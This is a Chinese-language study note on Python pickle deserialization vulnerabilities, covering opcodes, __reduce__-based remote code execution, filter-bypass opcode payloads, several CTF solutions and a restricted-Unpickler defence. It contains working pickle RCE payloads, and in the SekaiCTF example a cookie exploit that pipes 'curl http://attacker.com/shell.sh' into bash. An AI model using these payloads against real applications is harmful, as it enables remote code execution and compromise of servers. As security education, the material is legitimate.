最近碰到的 Python pickle 反序列化小总结
字数 2225 2025-08-26 22:11:45
Python Pickle 反序列化安全研究
1. Pickle 基础
1.1 Pickle 概述
Pickle 是 Python 的一种栈语言,基于轻量的 PVM (Pickle Virtual Machine) 运行。它通过指令处理器从流中读取 opcode 和参数,并解释处理,直到遇到结束符 . 停止。
1.2 PVM 组件
- Stack:由 Python list 实现,用于临时存储数据、参数和对象
- Memo:由 Python dict 实现,为 PVM 整个生命周期提供存储
1.3 可序列化类型
以下类型可以被 pickle 序列化:
- None、True 和 False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可打包对象的集合(tuple、list、set 和 dict)
- 定义在模块顶层的函数(def 定义,lambda 不行)
- 定义在模块顶层的内置函数
- 定义在模块顶层的类
- 某些类实例(dict 属性或
__getstate__()返回值可被打包)
1.4 协议版本
当前共有 6 种不同的 pickle 协议:
| 版本 | 引入版本 | 特点 |
|---|---|---|
| v0 | 早期版本 | 原始"人类可读"协议 |
| v1 | 早期版本 | 较早的二进制格式 |
| v2 | Python 2.3 | 为新式类提供更高效封存 |
| v3 | Python 3.0 | 显式支持 bytes 对象 |
| v4 | Python 3.4 | 支持大对象,存储更多对象类型 |
| v5 | Python 3.8 | 支持带外数据,加速带内数据处理 |
2. Pickle 常用方法
2.1 序列化方法
pickle.dump(obj, file, protocol=None, *, fix_imports=True)
pickle.dumps(obj, protocol=None, *, fix_imports=True)
2.2 反序列化方法
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
2.3 __reduce__ 魔术方法
__reduce__() 是 object 类中的魔术方法,重写它可以控制对象在被实例化时的行为。该方法需要返回一个字符串或元组。
当返回元组 (callable, ([para1, para2...])) 时,该类的对象被反序列化时会调用 callable,并传入参数。
3. Pickle 指令集
以下是 Pickle 的主要操作码:
| 操作码 | 描述 |
|---|---|
| MARK = b'(' | 压入特殊 markobject 到栈 |
| STOP = b'.' | 每个 pickle 以 STOP 结束 |
| POP = b'0' | 丢弃栈顶项 |
| REDUCE = b'R' | 对栈上的可调用对象和参数元组应用调用 |
| GLOBAL = b'c' | 调用 find_class(modname, name) |
| BUILD = b'b' | 调用 __setstate__ 或 __dict__.update() |
| INST = b'i' | 构建并压入类实例 |
| OBJ = b'o' | 构建并压入类实例 |
| NEWOBJ = b'\x81' | 通过 cls.new 构建对象 |
4. 漏洞产生与利用
4.1 漏洞产生原因
用户可控的反序列化入口点(如 pickle.loads() 的参数可控)。
4.2 攻击场景
4.2.1 操控实例化对象属性
通过修改序列化数据中的属性值来改变对象行为。
4.2.2 变量覆盖
直接覆盖模块中的变量值。
4.2.3 RCE (远程代码执行)
利用 __reduce__ 或直接构造 opcode 实现命令执行。
基础 RCE 构造:
cos system
(S'ls'
tR.
等价于:
__import__('os').system(*('ls',))
使用 __reduce__:
class Test(object):
def __reduce__(self):
return (os.system, ('calc',))
4.3 高级利用技巧
4.3.1 绕过 find_class 限制
通过构造类似 find_class 的逻辑进行 payload 构造,如:
cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)tRp2
0g1
(g2
S'__builtins__'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")'
tR.
4.3.2 R 指令被过滤时的绕过
使用 b (BUILD) 指令:
o}(S"__setstate__"
cos
system
ubS"calc"
b.
4.3.3 使用 Python 内置函数绕过
利用 map 或 filter 函数:
c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81
p3
0c__builtin__
tuple
p4
(g3
t
\x81
.
4.3.4 敏感字符绕过
-
使用十六进制编码:
S'flag' => S'\x66\x6c\x61\x67' -
使用 Unicode 编码:
S'flag' => V'\u0066\u006C\u0061\u0067'
4.3.5 利用内置函数取关键字
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.
5. 漏洞修复
5.1 基本修复原则
永远不要反序列化不受信任或未经验证来源的数据。
5.2 重写 Unpickler.find_class()
限制可用的全局变量:
import builtins
import io
import pickle
safe_builtins = {'range', 'complex', 'set', 'frozenset', 'slice'}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
6. 实际案例分析
6.1 强网杯 2022 crash
绕过黑名单(禁用 R 和 "secret"):
b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''
6.2 Code-Breaking 2018 picklecode
利用 builtins.getattr 绕过限制:
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("calc")'
tR.
6.3 SekaiCTF 2022 Bottle Poem
利用 cookie_encode 进行 pickle 反序列化:
import os
from bottle import cookie_encode
class Test:
def __reduce__(self):
return (eval, ('__import__("os").popen("curl http://attacker.com/shell.sh|bash")',))
exp = cookie_encode(('session', {"name": [Test()]}), "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
print(exp)
6.4 美团CTF 2022 ezpickle
绕过 R/i/o/b 过滤:
opcode = b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81
p3
0c__builtin__
tuple
p4
(g3
t
\x81
.'''
7. 总结
Pickle 反序列化漏洞的核心在于:
- 存在用户可控的反序列化入口
- 能够构造恶意序列化数据
- 缺乏适当的过滤和限制
防御措施应包括:
- 避免反序列化不可信数据
- 实现严格的
find_class限制 - 使用更安全的序列化格式(如 JSON)
- 对序列化数据进行签名验证